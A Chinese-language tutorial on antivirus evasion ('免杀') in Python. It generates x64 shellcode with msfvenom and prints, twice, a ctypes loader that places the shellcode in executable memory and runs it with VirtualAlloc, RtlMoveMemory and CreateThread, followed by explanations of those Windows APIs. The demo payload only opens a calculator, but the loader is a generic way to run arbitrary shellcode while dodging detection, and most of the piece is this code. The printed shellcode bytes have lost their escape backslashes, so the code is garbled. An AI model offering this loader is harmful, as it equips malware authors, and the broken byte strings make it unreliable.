本篇内容主要讲解“python免杀技术shellcode的加载与执行方法是什么”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“python免杀技术shellcode的加载与执行方法是什么”吧!
0x01 生成shellcode
首先通过下列命令生成一个shellcode,使用msfvenom -p选项来指定paylaod,这里选用windows/x64、exec模块接收的参数。使用calc.exe执行弹出计算器的操作。-f选项用来执行生成的shellcdoe的编译语言。
msfvenom -p windows/x64/exec CMD='calc.exe' -f py
0x02 加载与执行shellcode的程序
程序为:
# -*- coding:utf-8 -*- import ctypes from ctypes import * from ctypes.wintypes import * import sys PAGE_EXECUTE_READWRITE = 0x00000040 MEM_COMMIT = 0x3000 PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF) VirtualAlloc = windll.kernel32.VirtualAlloc RtlMoveMemory = windll.kernel32.RtlMoveMemory CreateThread = windll.kernel32.CreateThread WaitForSingleObject = windll.kernel32.WaitForSingleObject OpenProcess = windll.kernel32.OpenProcess VirtualAllocEx = windll.kernel32.VirtualAllocEx WriteProcessMemory = windll.kernel32.WriteProcessMemory CreateRemoteThread = windll.kernel32.CreateRemoteThread shellcode = bytearray( b"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41" b"x50x52x51x56x48x31xd2x65x48x8bx52x60x48" b"x8bx52x18x48x8bx52x20x48x8bx72x50x48x0f" b"xb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7c" b"x02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52" b"x41x51x48x8bx52x20x8bx42x3cx48x01xd0x8b" b"x80x88x00x00x00x48x85xc0x74x67x48x01xd0" b"x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56" b"x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9" b"x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0" b"x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58" b"x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44" b"x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0" b"x41x58x41x58x5ex59x5ax41x58x41x59x41x5a" b"x48x83xecx20x41x52xffxe0x58x41x59x5ax48" b"x8bx12xe9x57xffxffxffx5dx48xbax01x00x00" b"x00x00x00x00x00x48x8dx8dx01x01x00x00x41" b"xbax31x8bx6fx87xffxd5xbbxf0xb5xa2x56x41" b"xbaxa6x95xbdx9dxffxd5x48x83xc4x28x3cx06" b"x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6a" b"x00x59x41x89xdaxffxd5x63x61x6cx63x2ex65" b"x78x65x00" ) def run1(): VirtualAlloc.restype = ctypes.c_void_p #重载函数返回类型为void p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存 buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针 RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中 h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程 WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件 if __name__ == "__main__": run1()
0x03 程序解释
导入模块,并且程序分配内存还有可进行读写操作。
import ctypes from ctypes import * from ctypes.wintypes import * import sys PAGE_EXECUTE_READWRITE = 0x00000040 MEM_COMMIT = 0x3000 PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
区域可执行代码,可读可写
PAGE_EXECUTE_READWRITE = 0x00000040
分配内存
MEM_COMMIT = 0x3000
给予进程所有权限
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
调用windows api
VirtualAlloc = windll.kernel32.VirtualAlloc RtlMoveMemory = windll.kernel32.RtlMoveMemory CreateThread = windll.kernel32.CreateThread WaitForSingleObject = windll.kernel32.WaitForSingleObject OpenProcess = windll.kernel32.OpenProcess VirtualAllocEx = windll.kernel32.VirtualAllocEx WriteProcessMemory = windll.kernel32.WriteProcessMemory CreateRemoteThread = windll.kernel32.CreateRemoteThread
将前面生成的shellcode赋值给shellcode参数,赋值前使用bytearray函数处理
shellcode = bytearray( b"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41" b"x50x52x51x56x48x31xd2x65x48x8bx52x60x48" b"x8bx52x18x48x8bx52x20x48x8bx72x50x48x0f" b"xb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7c" b"x02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52" b"x41x51x48x8bx52x20x8bx42x3cx48x01xd0x8b" b"x80x88x00x00x00x48x85xc0x74x67x48x01xd0" b"x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56" b"x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9" b"x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0" b"x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58" b"x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44" b"x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0" b"x41x58x41x58x5ex59x5ax41x58x41x59x41x5a" b"x48x83xecx20x41x52xffxe0x58x41x59x5ax48" b"x8bx12xe9x57xffxffxffx5dx48xbax01x00x00" b"x00x00x00x00x00x48x8dx8dx01x01x00x00x41" b"xbax31x8bx6fx87xffxd5xbbxf0xb5xa2x56x41" b"xbaxa6x95xbdx9dxffxd5x48x83xc4x28x3cx06" b"x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6a" b"x00x59x41x89xdaxffxd5x63x61x6cx63x2ex65" b"x78x65x00" )
创建一个方法并调用,申请内存,将shellcode指向分配的内存指针,再复制shellcode到内存中,创建线程事件并执行:
def run1(): VirtualAlloc.restype = ctypes.c_void_p #重载函数返回类型为void p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存 buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针 RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中 h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程 WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件
VirtualAlloc是用来申请内存空间,是一个Windows API函数,它的声明为:
LPVOID VirtualAlloc{ LPVOID lpAddress, // 要分配的内存区域的地址 DWORD dwSize, // 分配的大小 DWORD flAllocationType, // 分配的类型 DWORD flProtect // 该内存的初始保护属性 };
RtlMoveMemory从指定内存中复制内存至另一内存里.语法为:
VOID RtlMoveMemory( VOID UNALIGNED *Destination, const VOID UNALIGNED *Source, SIZE_T Length );
参数:
Destination :指向移动目的地址的指针。
Source :指向要复制的内存地址的指针。
Length :指定要复制的字节数。
CreateThread是一种微软在Windows API中提供了建立新的线程的函数,该函数在主线程的基础上创建一个新线程。
函数原型:
HANDLE CreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes,//SD SIZE_T dwStackSize,//initialstacksize LPTHREAD_START_ROUTINE lpStartAddress,//threadfunction LPVOID lpParameter,//threadargument DWORD dwCreationFlags,//creationoption LPDWORD lpThreadId//threadidentifier )
参数意义
lpThreadAttributes:指向SECURITY_ATTRIBUTES型态的结构的指针。在Windows 98中忽略该参数。在Windows NT中,NULL使用默认安全性,不可以被子线程继承,否则需要定义一个结构体将它的bInheritHandle成员初始化为TRUE。
dwStackSize,设置初始栈的大小,以字节为单位,如果为0,那么默认将使用与调用该函数的线程相同的栈空间大小。任何情况下,Windows根据需要动态延长堆栈的大小。
lpStartAddress,指向线程函数的指针,形式:@函数名,函数名称没有限制
lpParameter:向线程函数传递的参数,是一个指向结构的指针,不需传递参数时,为NULL。
dwCreationFlags :线程标志,可取值如下
(1)CREATE_SUSPENDED(0x00000004):创建一个挂起的线程,
(2)0:表示创建后立即激活。
(3)STACK_SIZE_PARAM_IS_A_RESERVATION(0x00010000):dwStackSize参数指定初始的保留堆栈 的大小,否则,dwStackSize指定提交的大小。该标记值在Windows 2000/NT and Windows Me/98/95上不支持。
lpThreadId:保存新线程的id。
WaitForSingleObject是一种Windows API函数。当等待仍在挂起状态时,句柄被关闭,那么函数行为是未定义的。该句柄必须具有 SYNCHRONIZE 访问权限。
声明:
DWORD WINAPI WaitForSingleObject( __in HANDLE hHandle, __in DWORD dwMilliseconds );
hHandle[in]对象句柄。可以指定一系列的对象,如Event、Job、Memory resource notification、Mutex、Process、Semaphore、Thread、Waitable timer等。
dwMilliseconds[in]定时时间间隔,单位为milliseconds(毫秒).如果指定一个非零值,函数处于等待状态直到hHandle标记的对象被触发,或者时间到了。如果dwMilliseconds为0,对象没有被触发信号,函数不会进入一个等待状态,它总是立即返回。如果dwMilliseconds为INFINITE,对象被触发信号后,函数才会返回。
运行程序可以成功弹出计算器。